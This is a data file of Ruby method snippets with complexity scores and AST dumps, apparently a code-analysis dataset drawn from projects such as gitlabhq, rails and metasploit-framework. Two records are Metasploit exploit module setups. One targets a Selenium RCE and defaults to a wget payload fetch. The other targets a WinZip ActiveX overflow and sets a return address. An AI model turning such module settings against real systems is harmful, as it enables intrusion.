{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/drops/user_drop.rb","start_line":2,"raw_source":"def name\n    @obj.try(:name).try(:split).try(:map, &:capitalize).try(:join, ' ')\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@obj\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"split\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"map\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"capitalize\"]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"join\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]}","id":"e5a21204-a56d-4f20-af9c-67cf54f3a3f4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Selenium geckodriver RCE',\n        'Description' => %q{\n          Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)\n          allows CSRF because it permits non-JSON content types\n          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.\n        },\n        'Author' => [\n          'Jon Stratton',     # Exploit development\n          'Takahiro Yokoyama' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2022-28108'],\n          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],\n          ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],\n          ['EDB', '49915'],\n        ],\n        'Payload' => {},\n        'Platform' => %w[linux],\n        'Targets' => [\n          [\n            'Linux Command', {\n              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,\n              'DefaultOptions' => {\n                'FETCH_COMMAND' => 'WGET'\n              }\n            }\n          ],\n        ],\n        'DefaultOptions' => {\n          'FETCH_DELETE' => true\n        },\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2022-04-18',\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE, ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION, ]\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(4444),\n        OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ])\n      ]\n    )\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Selenium geckodriver RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing)\\n\"]},{\"type\":\"str\",\"children\":[\"          allows CSRF because it permits non-JSON content types\\n\"]},{\"type\":\"str\",\"children\":[\"          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jon Stratton\"]},{\"type\":\"str\",\"children\":[\"Takahiro Yokoyama\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-28108\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/JonStratton/selenium-node-takeover-kit/tree/master\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"49915\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"nix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_COMMAND\"]},{\"type\":\"str\",\"children\":[\"WGET\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FETCH_DELETE\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[4444]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Timeout for exploit (seconds)\"]},{\"type\":\"int\",\"children\":[75]}]}]}]}]}]}]}","id":"3fc23817-f117-42f8-9de4-68b530b572e0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/users/participable_service.rb","start_line":88,"raw_source":"def user_as_hash(user)\n      {\n        type: user.class.name,\n        username: user.username,\n        name: user.name,\n        avatar_url: user.avatar_url,\n        availability: lazy_user_availability(user).itself # calling #itself to avoid returning a BatchLoader instance\n      }\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_as_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"avatar_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"availability\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lazy_user_availability\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"itself\"]}]}]}]}","id":"6f539c17-f04f-41ba-8271-6be89e3d68ac"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/sorters/spree/products/sort.rb","start_line":64,"raw_source":"def translatable_sortable_fields\n        fields = []\n        Product.translatable_fields.each do |field|\n          fields << field if sort_by?(field.to_s)\n        end\n        fields\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"translatable_sortable_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Product\"]},\"translatable_fields\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sort_by?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}","id":"cbe666ca-834e-453f-b367-21d4e566ed60"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/mdns.rb","start_line":104,"raw_source":"def request_info\n      \"#{query_name} #{query_class}/#{query_type}\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"request_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_class\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_type\"]}]}]}]}","id":"8294e700-33e4-4640-9ba9-bbe985dc2001"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":276,"raw_source":"def annotate\n    @annotate = @page.annotate(params[:version])\n    render_404 unless @annotate\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"annotate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@annotate\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"annotate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@annotate\"]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}]}","id":"5cc0fce0-d537-4445-82db-7925745a1066"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":170,"raw_source":"def date_string_with_milliseconds(d, add = 0)\n    return \"\" if d.blank?\n\n    d.strftime(\"%B %d, %Y %H:%M:%S\") + \".\" + ((d.to_f % 1) + add).to_s.split(\".\")[1]\n  end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"date_string_with_milliseconds\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]},{\"type\":\"optarg\",\"children\":[\"add\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %d, %Y %H:%M:%S\"]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"to_f\"]},\"%\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"add\"]}]}]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"840304cc-5707-4b55-a6fd-f543c592a592"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_settings_helper.rb","start_line":746,"raw_source":"def vscode_extension_marketplace_settings_view\n    presets = ::WebIde::ExtensionMarketplacePreset.all.map do |preset|\n      preset.to_h.deep_transform_keys { |key| key.to_s.camelize(:lower) }\n    end\n\n    {\n      title: _('VS Code Extension Marketplace'),\n      description: vscode_extension_marketplace_settings_description,\n      view_model: {\n        presets: presets,\n        initialSettings: @application_setting.vscode_extension_marketplace || {}\n      }\n    }\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"vscode_extension_marketplace_settings_view\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"presets\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WebIde\"]},\"ExtensionMarketplacePreset\"]},\"all\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preset\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preset\"]},\"to_h\"]},\"deep_transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"camelize\",{\"type\":\"sym\",\"children\":[\"lower\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"VS Code Extension Marketplace\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"vscode_extension_marketplace_settings_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"view_model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presets\"]},{\"type\":\"lvar\",\"children\":[\"presets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"initialSettings\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"vscode_extension_marketplace\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}]}]}","id":"ad4411b7-1450-445e-a551-beee0779530f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration.rb","start_line":298,"raw_source":"def /(other)\n      if Scalar === other\n        Duration.new(value / other.value, @parts.transform_values { |number| number / other.value }, @variable)\n      elsif Duration === other\n        value / other.value\n      elsif Numeric === other\n        Duration.new(value / other, @parts.transform_values { |number| number / other }, @variable)\n      else\n        raise_type_error(other)\n      end\n    end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"/\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scalar\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Duration\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parts\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"value\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@variable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Duration\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Numeric\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Duration\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parts\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"/\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@variable\"]}]},{\"type\":\"send\",\"children\":[null,\"raise_type_error\",{\"type\":\"lvar\",\"children\":[\"other\"]}]}]}]}]}]}","id":"647e15bc-4916-4c2c-8f3d-370d122503f5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/protected_ref_access.rb","start_line":84,"raw_source":"def humanize_role\n    self.class.humanize(access_level)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"humanize_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"humanize\",{\"type\":\"send\",\"children\":[null,\"access_level\"]}]}]}","id":"4ab119fa-d1be-4868-b80a-9cf2c04547d2"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_file.rb","start_line":251,"raw_source":"def write_without_compression(path, chunk)\n      File.open(path, \"ab\", @file_perm) do |f|\n        chunk.write_to(f)\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_without_compression\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"ab\"]},{\"type\":\"ivar\",\"children\":[\"@file_perm\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"write_to\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}","id":"1d536fe5-5a2b-49ca-b2cf-d30bbd2e6fcd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record.rb","start_line":616,"raw_source":"def self.with_transaction_isolation_level(isolation_level, &block)\n    original_level = self.default_transaction_isolation_level\n    self.default_transaction_isolation_level = isolation_level\n    yield\n  ensure\n    self.default_transaction_isolation_level = original_level\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"with_transaction_isolation_level\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"isolation_level\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original_level\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_transaction_isolation_level\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_transaction_isolation_level=\",{\"type\":\"lvar\",\"children\":[\"isolation_level\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_transaction_isolation_level=\",{\"type\":\"lvar\",\"children\":[\"original_level\"]}]}]}]}","id":"58afb421-1424-4c14-abb9-2a1701bdb84a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_expiration_policy.rb","start_line":51,"raw_source":"def self.keep_n_options\n    {\n      1 => _('%{tags} tag per image name') % { tags: 1 },\n      5 => _('%{tags} tags per image name') % { tags: 5 },\n      10 => _('%{tags} tags per image name') % { tags: 10 },\n      25 => _('%{tags} tags per image name') % { tags: 25 },\n      50 => _('%{tags} tags per image name') % { tags: 50 },\n      100 => _('%{tags} tags per image name') % { tags: 100 }\n    }\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keep_n_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tag per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tags per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[10]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tags per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[25]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tags per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[25]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[50]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tags per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[50]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[100]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{tags} tags per image name\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]}]}]}","id":"e14ccc1c-dc69-426e-8db0-b1a3ba65739a"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/base/serial_job.rb","start_line":5,"raw_source":"def initialize(step)\n      @step = step\n      @tracker = step.tracker\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"step\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@step\",{\"type\":\"lvar\",\"children\":[\"step\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@tracker\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"step\"]},\"tracker\"]}]}]}]}","id":"6a4b0c07-8378-4cfe-af2b-a594b8677e7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/todos_finder.rb","start_line":126,"raw_source":"def author?\n    params[:author_id].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"author?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author_id\"]}]},\"present?\"]}]}","id":"048e3fcd-cbc4-4dc8-bdcc-94a430737e15"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/winzip_fileview.rb","start_line":21,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WinZip FileView (WZFILEVIEW.FileViewCtrl.61) ActiveX Buffer Overflow',\n        'Description' => %q{\n          The FileView ActiveX control (WZFILEVIEW.FileViewCtrl.61) could allow a\n          remote attacker to execute arbitrary code on the system. The control contains\n          several unsafe methods and is marked safe for scripting and safe for initialization.\n          A remote attacker could exploit this vulnerability to execute arbitrary code on the\n          victim system. WinZip 10.0 <= Build 6667 are vulnerable.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],\n        'References' => [\n          [ 'CVE', '2006-5198' ],\n          [ 'OSVDB', '30433' ],\n          [ 'BID', '21060' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP0-SP2/ IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]\n        ],\n        'DisclosureDate' => '2007-11-02',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => 